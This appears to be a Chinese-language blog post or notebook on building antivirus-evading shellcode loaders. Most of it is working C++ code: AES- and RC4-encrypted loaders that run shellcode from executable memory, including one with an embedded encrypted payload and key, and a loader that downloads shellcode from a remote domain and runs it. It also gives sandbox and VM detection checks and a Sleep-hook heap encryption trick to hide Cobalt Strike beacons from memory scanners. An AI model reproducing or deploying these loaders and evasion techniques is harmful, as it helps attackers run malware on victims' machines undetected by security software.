#include "tools.h" #define BUF_SIZE 4096 using namespace std; string EncryptionAES(const string& strSrc, const char* g_key, const char* g_iv) { size_t length = strSrc.length(); int block_num = length / BLOCK_SIZE + 1; //明文 char* szDataIn = new char[block_num * BLOCK_SIZE + 1]; memset(szDataIn, 0x00, block_num * BLOCK_SIZE + 1); strcpy(szDataIn, strSrc.c_str()); //进行PKCS7Padding填充。 int k = length % BLOCK_SIZE; int j = length / BLOCK_SIZE; int padding = BLOCK_SIZE - k; for (int i = 0; i < padding; i++) { szDataIn[j * BLOCK_SIZE + k + i] = padding; } szDataIn[block_num * BLOCK_SIZE] = '\0'; //加密后的密文 char* szDataOut = new char[block_num * BLOCK_SIZE + 1]; memset(szDataOut, 0, block_num * BLOCK_SIZE + 1); //进行进行AES的CBC模式加密 AES aes; aes.MakeKey(g_key, g_iv, 16, 16); aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC); string str = base64_encode((unsigned char*)szDataOut, block_num * BLOCK_SIZE); delete[] szDataIn; delete[] szDataOut; return str; }; string DecryptionAES(const string& strSrc, const char* g_key, const char* g_iv) { string strData = base64_decode(strSrc); size_t length = strData.length(); //密文 char* szDataIn = new char[length + 1]; memcpy(szDataIn, strData.c_str(), length + 1); //明文 char* szDataOut = new char[length + 1]; memcpy(szDataOut, strData.c_str(), length + 1); //进行AES的CBC模式解密 AES aes; aes.MakeKey(g_key, g_iv, 16, 16); aes.Decrypt(szDataIn, szDataOut, length, AES::CBC); //去PKCS7Padding填充 if (0x00 < szDataOut[length - 1] <= 0x16) { int tmp = szDataOut[length - 1]; for (int i = length - 1; i >= length - tmp; i--) { if (szDataOut[i] != tmp) { memset(szDataOut, 0, length); cout << "去填充失败!解密出错!!" << endl; break; } else szDataOut[i] = 0; } } string strDest(szDataOut); delete[] szDataIn; delete[] szDataOut; return strDest; } string random_string(size_t length) { auto randchar = []() -> char { const char charset[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "!@#$%^&*()_+=-[]{};:,.<>/?|"; const size_t max_index = (sizeof(charset) - 1); return charset[rand() % max_index]; }; string str(length, 0); generate_n(str.begin(), length, randchar); return str; } string toHexString(unsigned char* data, size_t len) { ostringstream oss; for (size_t i = 0; i < len; ++i) oss << hex << setw(2) << setfill('0') << static_cast<int>(data[i]); return oss.str(); }
shellcode_enc.cpp 用于生成key与iv,并将shellcode加密
#include <iostream> #include "tools.h" using namespace std; int main() { unsigned char buf[] = "shellcode is here"; //生成随机16位的key值和iv值 srand(time(0)); // initialize random seed string g_key = random_string(16); string g_iv = random_string(16); cout << "[+]key值: " << g_key << endl; cout << "[+]iv值: " << g_iv << endl; //将shellcode字节数组转换成十六进制字符串 size_t bufLen = sizeof(buf) / sizeof(unsigned char) - 1; string OriginalShellcode = toHexString(buf, bufLen); cout << "[+]未加密的shellcode: " << OriginalShellcode << endl; //对shellcode字符串进行加密 string EncryptShellcode = EncryptionAES(OriginalShellcode, g_key.c_str(), g_iv.c_str()); cout << "[+]加密后的shellcode: " << EncryptShellcode << endl; //对加密后的shellcode字符串进行解密 string DecryptShellcode = DecryptionAES(EncryptShellcode, g_key.c_str(), g_iv.c_str()); cout << "[+]解密后的shellcode: " << DecryptShellcode << endl; return 0; }
然后在main.cpp中进行解密与加载shellcode
main.cpp
#include <Windows.h> #include <stdio.h> #include "AES.h" #include "Base64.h" #include "tools.h" using namespace std; int main() { char g_key[17] = "o+aMJ3dY7Wy&v<Me"; //填写key密钥 char g_iv[17] = "cz-ax@RDj].62{c;"; //定义iv向量 // 加密后的shellcode string buf = "HBqjD/JxIjs7hoFY+ujH2xb/7c9oOoHrxhRH84xVGjBV+Na0IdYACn4kPVd2Rnmb3Jk9Uxpsr8diLtRodIVWJOS1/qG0DG+YvNvc1sqhxNjRadalgWbDcIYhKVO8EGBM+5Sfluez/acKdyQjeRScESS9RyUxRgcd5Z1OOHDqmrTLKgXLsYxyFMRRD+Mq25LFMEzOxfUglIqi8OR74p4FMVf3Oinx2SxOfkglfQkcXvkUUdMfMb5nIhPv7IuPxJApPbF7zs8g/kbN6NgcI0CpCIxWu8epxAeRC2gqhgzCkV50iZDPzFXK5q+PP9STOdgzDI/xBnw2TmQGwnJIFgFbWZ69IpFImH5Lq3qniDzpQlV2wS0Q29tOR37rg+xLdyO5P2VVdEGOummQVjTQBKRJ9tfme69kHuvPSvXMMtvH1UHfTy9fdDpnPqCYWAbp0wz1W34yZZpX0gJA1HRzTxR0Jo176UOY4EoqxLL5rLie1e1b198b0gWMi3FUosTHMP+1aGx2WJZONE8EVSFfGP8lEa3anQSx/J1ZrZheltCXJ6VKUMTUIA/yMT+2hIBcMUgG/W9wYgv9xWYFLryxqHVSD45bDlTewwQjI6uI1xLau8VP2abmJQLbJt4BxlEr1pCdzZl+slhpDkT8lOD/u82/rMymdedmgMVJMnOG8B9cdK4ilzY9dR1jQGZS4PVwg0gvZbPz7pVlLpHfj5qnD4c3k5BdcvFS+Z+XbCLE5+R7AuU="; // 解密shellcode string strbuf = DecryptionAES(buf, g_key, g_iv); //将解密的shellcode放到shellcode数组中 char* p = (char*)strbuf.c_str(); unsigned char* shellcode = (unsigned char*)calloc(strbuf.length() / 2, sizeof(unsigned char)); // 两字节的输入到shellcode地址中,所以长度为一半 for (size_t i = 0; i < strbuf.length() / 2; i++) { sscanf(p, "%02x", &shellcode[i]); p += 2; } //输出shellcode数组里的内容 int ShellcodeSize = strbuf.length() / 2; printf("[+]Decrypted buffer:\n"); for (int i = 0; i < ShellcodeSize; i++) { printf("\\x%02x", shellcode[i]); } char *Memory; Memory = (char *)VirtualAlloc(NULL, sizeof(ShellcodeSize), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //memcpy(Memory, shellcode, sizeof(ShellcodeSize)); RtlMoveMemory(Memory, shellcode, ShellcodeSize); ((void(*)())Memory)(); return 0; }
rc4 #include <Windows.h> #include <stdio.h> using namespace std; #define size_b 256 unsigned char sbox[257] = { 0 }; //初始化s表 void init_sbox(unsigned char* key) { unsigned int i, j, k; int tmp; for (i = 0; i < size_b; i++) { sbox[i] = i; } j = k = 0; for (i = 0; i < size_b; i++) { tmp = sbox[i]; j = (j + tmp + key[k]) % size_b; sbox[i] = sbox[j]; sbox[j] = tmp; if (++k >= strlen((char*)key))k = 0; } } //加解密函数 void enc_dec(unsigned char* key, unsigned char* data) { int i, j, k, R, tmp; init_sbox(key); j = k = 0; for (i = 0; i < strlen((char*)data); i++) { j = (j + 1) % size_b; k = (k + sbox[j]) % size_b; tmp = sbox[j]; sbox[j] = sbox[k]; sbox[k] = tmp; R = sbox[(sbox[j] + sbox[k]) % size_b]; data[i] ^= R; } } int main() { unsigned char buf[] = "shellcode is here"; unsigned char key[] = "hacker_hack"; // 加密 enc_dec(key,buf); printf("[+]加密: "); for (size_t i = 0; i < sizeof(buf); i++) { printf("\\x%02x", buf[i]); } // 解密 enc_dec(key, buf); printf("\n[+]解密: "); for (size_t i = 0; i < sizeof(buf); i++) { printf("\\x%02x", buf[i]); } LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(pMemory, buf, sizeof(buf)); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); VirtualFree(pMemory, 0, MEM_RELEASE); return 0; }
反调试/沙箱/虚拟机 Windows对抗沙箱和虚拟机的方法总结
https://mp.weixin.qq.com/s/mBOfkXm-irfpNZ5PoIOe_w
虚拟机检测技术整理
沙箱 开机时间,temp文件数量,cpu数量,物理内存大小,硬盘大小,进程,注册表,usb连接记录,样本名称,微信/Google程序,命名管道通信,延时执行,加速检测
开机时间
void GetUpTime() { DWORD iRunTime = GetTickCount(); DWORD TestTime = 1800000; // 半个小时开机时间 if (iRunTime > TestTime) printf("[+]not vm\n"); const int Num1 = 1000; const int Num2 = 1900; time_t nowTime; time(&nowTime); time_t systemUpTime = nowTime - (iRunTime / Num1); struct tm* timeInfo; timeInfo = localtime(&systemUpTime); printf("开机的时间: %d-%d-%d %02d:%02d:%02d", timeInfo->tm_year + Num2, timeInfo->tm_mon + 1, timeInfo->tm_mday, timeInfo->tm_hour, timeInfo->tm_min, timeInfo->tm_sec); }
cpu数量,这里获取的是逻辑核数量
void GetCpu() { SYSTEM_INFO sysinfo; GetSystemInfo(&sysinfo); DWORD cpunumber = sysinfo.dwNumberOfProcessors; DWORD cpumask = sysinfo.dwActiveProcessorMask; if (cpunumber >= 4) printf("[+]not vm\n"); // 4个逻辑内核 cout << "[+]cpunumber " << cpunumber << endl; cout << "[+]cpumask " << cpumask << endl; }
物理内存大小
void GetRam() { MEMORYSTATUSEX meminfo; meminfo.dwLength = sizeof(meminfo); GlobalMemoryStatusEx(&meminfo); DWORDLONG raminfo = meminfo.ullTotalPhys / 1024 / 1024; if (raminfo > 3072) printf("[+]not vm\n"); // ram大于3G = 1024 * 3 cout << "[+]ramsize " << raminfo << endl; }
硬盘大小,需要管理员权限
void GetDisk() { HANDLE hDrive; GET_LENGTH_INFORMATION size; DWORD lpBytes; hDrive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hDrive == INVALID_HANDLE_VALUE) { CloseHandle(hDrive); cout << "[+]无法打开该磁盘" << endl; } DeviceIoControl(hDrive, IOCTL_DISK_GET_LENGTH_INFO, NULL, 0, &size, sizeof(GET_LENGTH_INFORMATION), &lpBytes, NULL); CloseHandle(hDrive); LONGLONG disksize = size.Length.QuadPart / 1073741824; if (disksize > 100) printf("[+]not vm\n"); // 大于 100G cout << "[+]disksize " << disksize << "G" << endl; }
样本名称,有的沙箱会重命名样本
void GetFilename() { char currentProcessPath[MAX_PATH + 1]; GetModuleFileName(NULL, currentProcessPath, 200); if (strstr(currentProcessPath, "shellcode.exe")) printf("[+]not vm\n"); // 没有重名 cout << "[+]filename " << currentProcessPath << endl; }
usb连接记录 \HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR
void GetUsb() { HKEY hKey; DWORD mountedUSBDevicesCount; RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\\\ControlSet001\\\\Enum\\\\USBSTOR", 0, KEY_READ, &hKey); RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (mountedUSBDevicesCount > 1) printf("[+]not vm\n"); // usb大于1 cout << "[+]usb " << mountedUSBDevicesCount << endl; }
加速检测
#include <iostream> #include <chrono> #include <thread> bool timeSleep() { // 记录起始时间点 auto start = std::chrono::steady_clock::now(); // 休眠 10 秒钟 std::this_thread::sleep_for(std::chrono::seconds(10)); // 计算经过的时间 auto end = std::chrono::steady_clock::now() - start; // 检查是否至少休眠了 10 秒钟 if (end >= std::chrono::seconds(10)) { return true; } else { return false; } }
传参检测
#include <iostream> int main(int argc, char* argv[]) { if (argc >= 3) { if (atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) { LoadShellCode(); } } }
路径检测,微步的沙箱貌似存在正则对抗,目录是在 C:\\[A-Za-z0-9~!@#$%^&*()_+=\-,.\/;'\[\]\\|}{":?><]{7}\\
所以直接规避该路径
void CheckWeibu() { char currentProcessPath[MAX_PATH + 1]; GetModuleFileName(NULL, currentProcessPath, MAX_PATH + 1); string input(currentProcessPath); regex pattern(R"(C:\\[A-Za-z0-9~!@#$%^&*()_+=\-,.\/;'\[\]\\|}{":?><]{7}\\shellcode\.exe)"); smatch matches; // 符合微步路径 if (!strstr(currentProcessPath, "Windows")) { if (regex_search(input, matches, pattern)) MessageBox(0, "in weibu", "Caption", MB_OK); } cout << "[+]path " << currentProcessPath << endl; }
命名管道通信
暂时挖坑,免杀手法收集
调试/虚拟机 浅谈反沙箱、反调试技术 ,这块简单记录下,毕竟是搞免杀的,又不是搞APT的。
可能存在的进程名
Vmtoolsd.exe Vmwaretrat.exe Vmwareuser.exe Vmacthlp.exe vboxservice.exe vboxtray.exe
注册表
HKLM\SOFTWARE\Vmware Inc\Vmware Tools HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier HKEY_CLASSES_ROOT\Applications\VMwareHostOpen.exe HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions
硬盘文件
C:\windows\System32\Drivers\Vmmouse.sys C:\windows\System32\Drivers\vmtray.dll C:\windows\System32\Drivers\VMToolsHook.dll C:\windows\System32\Drivers\vmmousever.dll C:\windows\System32\Drivers\vmhgfs.dll C:\windows\System32\Drivers\vmGuestLib.dll C:\windows\System32\Drivers\VBoxMouse.sys C:\windows\System32\Drivers\VBoxGuest.sys C:\windows\System32\Drivers\VBoxSF.sys C:\windows\System32\Drivers\VBoxVideo.sys C:\windows\System32\vboxdisp.dll C:\windows\System32\vboxhook.dll C:\windows\System32\vboxoglerrorspu.dll C:\windows\System32\vboxoglpassthroughspu.dll C:\windows\System32\vboxservice.exe C:\windows\System32\vboxtray.exe C:\windows\System32\VBoxControl.exe
服务
VMTools Vmrawdsk Vmusbmouse Vmvss Vmscsi Vmxnet vmx_svga Vmware Tools
MAC前缀
00:05:69 (Vmware) 00:0C:29 (Vmware) 00:1C:14 (Vmware) 00:50:56 (Vmware) 08:00:27 (VirtualBox)
分离静态免杀 这里shellcode用的是hex类型
fc4883e4f0e8c00000004151415052515648...
本地读取 本地文件读取shellcode -> 分配内存 -> 内存执行,肯定要搭配其他手法,比如shellcode加密、动态API调用。
静态免杀版,用的 lazy_importer 项目:
#include <Windows.h> #include <iostream> #include <fstream> #include <string> #include "lazy_importer.hpp" using namespace std; #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsigned char hexCharToByte(char character) { if (character >= '0' && character <= '9') { return character - '0'; } if (character >= 'a' && character <= 'f') { return character - 'a' + 10; } if (character >= 'A' && character <= 'F') { return character - 'A' + 10; } return 0; } void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) { for (int i = 0; i < hexString.length(); i += 2) { byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } } int main() { ifstream ifs; ifs.open("sss.txt", ios::in); if (!ifs.is_open()) { cout << "[-]open fail" << endl; return -1; } string line; getline(ifs, line); ifs.close(); const size_t length = line.length() / 2; // 字节长度 unsigned char* buffer = (unsigned char*)malloc(length); // 调用函数将十六进制字符串转换为字节型数组 hexStringToBytes(line, buffer, length); char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(exec, buffer, length); ((void(*) ())exec)(); return 0; }
另外在测试时候,发现代码顺序竟然影响免杀效果。
远程加载 三种建立http/https的连接方法
winnet
winhttp
socket
winnet
#include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet.lib") #include <iostream> #include <fstream> #include <sstream> #include <vector> #include "lazy_importer.hpp" using namespace std; // 将十六进制中的单个字符转换为相应的整数值 unsigned char hexCharToByte(char character) { if (character >= '0' && character <= '9') { return character - '0'; } if (character >= 'a' && character <= 'f') { return character - 'a' + 10; } if (character >= 'A' && character <= 'F') { return character - 'A' + 10; } return 0; } // 将十六进制字符串转换成字节型数组 void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) { for (int i = 0; i < hexString.length(); i += 2) { byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } } size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) { HINTERNET hInternet, hConnect; DWORD bytesRead; DWORD bufferSize = 0; DWORD contentLength = 0; DWORD index = 0; DWORD bufferLength = sizeof(bufferSize); // 打开一个与互联网的连接 hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet == NULL) { std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl; return 0; } // 打开一个URL连接 hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hConnect == NULL) { std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl; InternetCloseHandle(hInternet); return 0; } // 查询HTTP响应头中的内容长度 HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index); std::vector<char> hexBuffer(contentLength + 1, 0); // 读取URL返回的内容到hexBuffer中 if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) { std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl; } else if (bytesRead > 0) { hexBuffer[bytesRead] = '\0'; // 调整buffer的大小,以便存储转换后的字节数据 buffer.resize(bytesRead / 2); // 将十六进制字符串转换为字节型数组 hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2); } InternetCloseHandle(hConnect); InternetCloseHandle(hInternet); return bytesRead / 2; } int main() { LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt"; std::vector<unsigned char> buffer; size_t size = GetUrl_HexContent(url, buffer); char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(exec, buffer.data(), size); ((void(*) ())exec)(); return 0; }
socket静态免杀版,同样使用 lazy_importer
#include <winsock2.h> #include <windows.h> #include <string> #include <iostream> #include "lazy_importer.hpp" using namespace std; #pragma comment(lib, "ws2_32.lib") #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") char* readUrl(const char* szUrl, long& fileSize) { WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { cerr << "WSAStartup failed." << endl; return nullptr; } string server, filepath; size_t pos = string(szUrl).find("://"); if (pos != string::npos) { string url = string(szUrl).substr(pos + 3); pos = url.find('/'); server = url.substr(0, pos); filepath = (pos != string::npos) ? url.substr(pos) : "/"; } SOCKET conn = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (conn == INVALID_SOCKET) { WSACleanup(); return nullptr; } struct hostent* hp = gethostbyname(server.c_str()); if (hp == NULL) { closesocket(conn); WSACleanup(); return nullptr; } struct sockaddr_in serverAddr; memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(80); memcpy(&serverAddr.sin_addr, hp->h_addr, hp->h_length); if (connect(conn, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { closesocket(conn); WSACleanup(); return nullptr; } string getRequest = "GET " + filepath + " HTTP/1.0\r\nHost: " + server + "\r\n\r\n"; if (send(conn, getRequest.c_str(), getRequest.length(), 0) == SOCKET_ERROR) { closesocket(conn); WSACleanup(); return nullptr; } char readBuffer[512]; string responseData; while (true) { int bytesRead = recv(conn, readBuffer, sizeof(readBuffer), 0); if (bytesRead <= 0) break; responseData.append(readBuffer, bytesRead); } int headerEndPos = responseData.find("\r\n\r\n"); if (headerEndPos == string::npos) { closesocket(conn); WSACleanup(); return nullptr; } fileSize = responseData.length() - headerEndPos - 4; char* result = new char[fileSize + 1]; memcpy(result, responseData.c_str() + headerEndPos + 4, fileSize); result[fileSize] = '\0'; closesocket(conn); WSACleanup(); return result; } const char* concat(const char* str1, const char* str2) { size_t len1 = strlen(str1); size_t len2 = strlen(str2); size_t len_total = len1 + len2; char* result = new char[len_total + 1]; memcpy(result, str1, len1); memcpy(result + len1, str2, len2); result[len_total] = '\0'; return result; } unsigned char hexCharToByte(char character) { if (character >= '0' && character <= '9') { return character - '0'; } if (character >= 'a' && character <= 'f') { return character - 'a' + 10; } if (character >= 'A' && character <= 'F') { return character - 'A' + 10; } return 0; } void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) { for (int i = 0; i < hexString.length(); i += 2) { byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } } int main() { const char* str1 = "http"; const char* str2 = "://hwm-china.com/ssss.txt"; const char* szUrl = concat(str1, str2); long fileSize; string data = readUrl(szUrl, fileSize); const size_t length = data.size() / 2; // 字节长度 unsigned char* exec = (unsigned char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 调用函数将十六进制字符串转换为字节型数组 hexStringToBytes(data, exec, length); EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)exec, NULL); return 0; }
效果:
资源释放 免杀-绕过静态动态查杀 - mykr3
某0资源释放免杀
就是往项目资源里添加东西,然后释放资源,再做个shellcode loader
右键项目->添加->资源->导入->选择要导入的shellcode或者raw文件。这里用的calc的shellcode测试
加个rc4
#include <winsock2.h> #include"resource.h" #include <windows.h> #include <iostream> #include "lazy_importer.hpp" #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") using namespace std; #define size_b 256 unsigned char sbox[257] = { 0 }; //初始化s表 void init_sbox(unsigned char* key) { unsigned int i, j, k; int tmp; for (i = 0; i < size_b; i++) { sbox[i] = i; } j = k = 0; for (i = 0; i < size_b; i++) { tmp = sbox[i]; j = (j + tmp + key[k]) % size_b; sbox[i] = sbox[j]; sbox[j] = tmp; if (++k >= strlen((char*)key))k = 0; } } //加解密函数 void enc_dec(unsigned char* key, unsigned char* data) { int i, j, k, R, tmp; init_sbox(key); j = k = 0; for (i = 0; i < strlen((char*)data); i++) { j = (j + 1) % size_b; k = (k + sbox[j]) % size_b; tmp = sbox[j]; sbox[j] = sbox[k]; sbox[k] = tmp; R = sbox[(sbox[j] + sbox[k]) % size_b]; data[i] ^= R; } } unsigned char hexCharToByte(char character) { if (character >= '0' && character <= '9') { return character - '0'; } if (character >= 'a' && character <= 'f') { return character - 'a' + 10; } if (character >= 'A' && character <= 'F') { return character - 'A' + 10; } return 0; } void hexToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) { for (int i = 0; i < hexString.length(); i += 2) { byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } } int main() { HRSRC Png = FindResource(NULL, MAKEINTRESOURCE(IDR_MYRES1), "MYRES"); HGLOBAL LoadPng = LoadResource(NULL, Png); DWORD PngSize = SizeofResource(NULL, Png); LPVOID PngData = LockResource(LoadPng); const size_t length = PngSize / 2; // 字节长度 unsigned char* mypng = (unsigned char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); char* charPtr = reinterpret_cast<char*>(PngData); hexToBytes((string)charPtr, mypng, length); unsigned char key[] = "baidu.com"; enc_dec(key, mypng); EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)mypng, NULL); return 0; }
效果:
小结 总的来说,目前为止学会上面的 shellcode加载、shellcode加密、分离免杀后,搭配下面的 杂项 内容,基本动静态绕过360/火绒已经基本不是问题了。绕过QVM的主要方法就是添加资源、添加资源、还是TM的添加资源,尽量不要让程序太小,之前没有添加资源的时候编译出来200kb左右,很难直接免杀。火绒直接用远程拉取就行。
内存动态免杀 Avoiding Memory Scanners ,文章提出三种扫描检测方向:
利用yara在内存中匹配cobalt strike相关字符串/字节
内存页面属性
堆栈跟踪
给出了几种bypass方向
动态堆加/解密
避免睡眠
属性修改
堆栈欺骗
前置知识 要在内存中免杀,首先要知道cs在内存中是怎么活动的或者说知道cs的 beacon 从生成到上线再到执行的整个流程。
文章:CobaltStrike逆向学习系列 Cobalt Strike原理介绍 CobaltStrike Beacon生成原理分析 Cobaltstrike4.0 shellcode分析
从流程中总结出内存特征
文章:从BeaconEye说起,围绕CS内存特征的检测与规避 如何正确的 “手撕” Cobalt Strike
最后根据特征bypass。
动态堆加/解密 minhook 一个用于hook winapi的稳定库,下载Releases中的lib.zip,TsudaKageyu/minhook: The Minimalistic x86/x64 API Hooking Library for Windows
项目中新建include、libs文件夹,如下结构
并添加目录进行引用
测试
思路
hook Sleep()
运行shellcode上线
触发MyHookedSleep()
挂起进程
加密当前线程的所有堆空间
Sleep()
解密当前线程的所有堆空间
恢复进程
解决 直接给出代码,Ref:waldo-irc/LockdExeDemo
#include <Windows.h> #include <MinHook.h> #include <iostream> #include "lazy_importer.hpp" #include "Thread.h" using namespace std; #if defined _M_X64 #pragma comment(lib, "libMinHook-x64-v141-mt.lib") #elif defined _M_IX86 #pragma comment(lib, "libMinHook-x86-v141-mt.lib") #endif /*-------------------------define hook func----------------------------------*/ void (WINAPI* OldSleep)(DWORD dwMiliseconds); void (WINAPI MyHookedSleep)(DWORD dwMiliseconds); template <typename T> inline MH_STATUS MH_CreateHookApiEx( LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal) { return MH_CreateHookApi( pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal)); } BOOL Hook() { if (MH_Initialize() != MH_OK) { return false; } if (MH_CreateHookApiEx(L"kernel32", "Sleep", &MyHookedSleep, &OldSleep) != MH_OK) { return false; } if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) { return false; } return true; } /*-------------------------encrypt heap--------------------------------------*/ const char key[9] = "Aoliao66"; // Encryption Key size_t keySize = sizeof(key); void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) { for (size_t i = 0; i < length; ++i) { buffer[i] ^= key[i % keyLength]; } } PROCESS_HEAP_ENTRY entry; void HeapEncryptDecrypt() { SecureZeroMemory(&entry, sizeof(entry)); while (HeapWalk(GetProcessHeap(), &entry)) { if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData); } } } /*-------------------------my hook-sleep func--------------------------------*/ void WINAPI MyHookedSleep(DWORD dwMiliseconds) { DWORD time = dwMiliseconds; if (time > 1000) { DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); HeapEncryptDecrypt(); OldSleep(dwMiliseconds); HeapEncryptDecrypt(); DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId()); } else { OldSleep(time); } } int main() { if (!Hook()) { return 1; } unsigned char buf[] = "\xfc\x48\x83\xe4\xf0..."; // shellcode is here const size_t length = sizeof(buf); unsigned char* mypng = (unsigned char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlMoveMemory(mypng, buf, length); EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)mypng, NULL); return 0; }
编译好的BeaconEye:beaconeye ,BeaconEye直接扫到
处理后
Ref:Hook Heaps and Live Free 、安全开发之堆分配内存加密 、【免杀】初探卡巴–堆加密
问题 这种方式的缺陷或者说比较丑陋的一点是将当前线程挂起,将当前进程所有heap加密,如果现在有注入到其他进程的需求,缺陷就体现的淋漓尽致,会导致宿主进程因为挂起而不稳定甚至崩溃。
属性修改 通过hook sleep后将恶意代码所在内存的属性修改为RW。
回顾 实现堆加密的目的就是要掩盖恶意代码在内存中的特征,如何在heap中精准定位shellcode?回顾beacon的加载流程为三步
shellcode(stager)从c2拉取stage(加密beacon.dll)
开辟新空间,解密stage(beacon.dll)出反射DLL,并调用reflectiveloader
开辟新空间,将解密的beacon.dll复制到新空间,调用dllmain
这里就能提出两个问题:
一、三步中都开辟了新空间,可以hook对应开辟空间的函数从而精准获得恶意代码内存地址,那么应该hook哪个函数?
二、能否扫描出heap空间特殊的内存属性?因为开辟的空间一定存在的特征是私有提交(private commit)、可执行(X)的属性
只要解决这两个问题就是两个不同的精准找内存的方法。
思路 这里简单说下两个问题的解决方法。
一:stage开辟空间的函数收到c2 profile的影响,profile中的stage规定了allocator的参数作为内存分配的函数,有三个 VirtualAlloc
HeapAlloc
MapViewOfFile
默认为 VirtualAlloc。所以我们只要hook这三个函数之一,最少可以得到两个地址,然后同时hook Sleep对这两个地址利用 VirtualProtect
修改内存属性。
hook VirtualAlloc 代码示例:
LPVOID WINAPI MyHookedVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { LPVOID address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); printf("address = 0X%p\n", address); return address; }
hook后第一个地址为自己开辟内存执行shellcode的内存地址(RWX)
二:遍历扫描内存页,标记特殊属性的页面地址,然后hook Sleep进行翻转属性。这是我所能找到的文章普遍采用的方法
直接贴两个文章:翻转cs beacon属性页 、一次cs样本免杀实践
Malleable PE/Stage 首先要介绍profile中的配置,你可以在profile中stage标签实现beacon的元数据修改、在内存中的属性、数据的替换、加解密混淆等。
sleep_mask: 设置为true时,会对数据和代码进行异或加密,3.11版本是单字节异或,4.2版本是13字节异或
userwx:设置执行反射dll所分配的内存属性,true为RWX,false为RX
cleanup:设置true后,会抹去存放在内存中的反射DLL,false则不会
stomppe:设置为true时能对MZ、PE和e_lfanew的值进行混淆
obfuscate:设置为true时,能混淆dll的导入表、区段名等信息,使得根据导入表匹配的规则失效
这里我的设置为
set userwx "true"; set cleanup "false"; set sleep_mask "false"; set stomppe "false"; set obfuscate "false";
hook VirtualAlloc,x86上线(当x64 hook三个函数时,会造成内部死锁 https://github.com/TsudaKageyu/minhook/issues/99),beacon属性为RWX一整块地址。
再看内存,确实都是beacon的准确地址
再将配置改为
set userwx "false"; set cleanup "false"; set sleep_mask "false"; set stomppe "false"; set obfuscate "false";
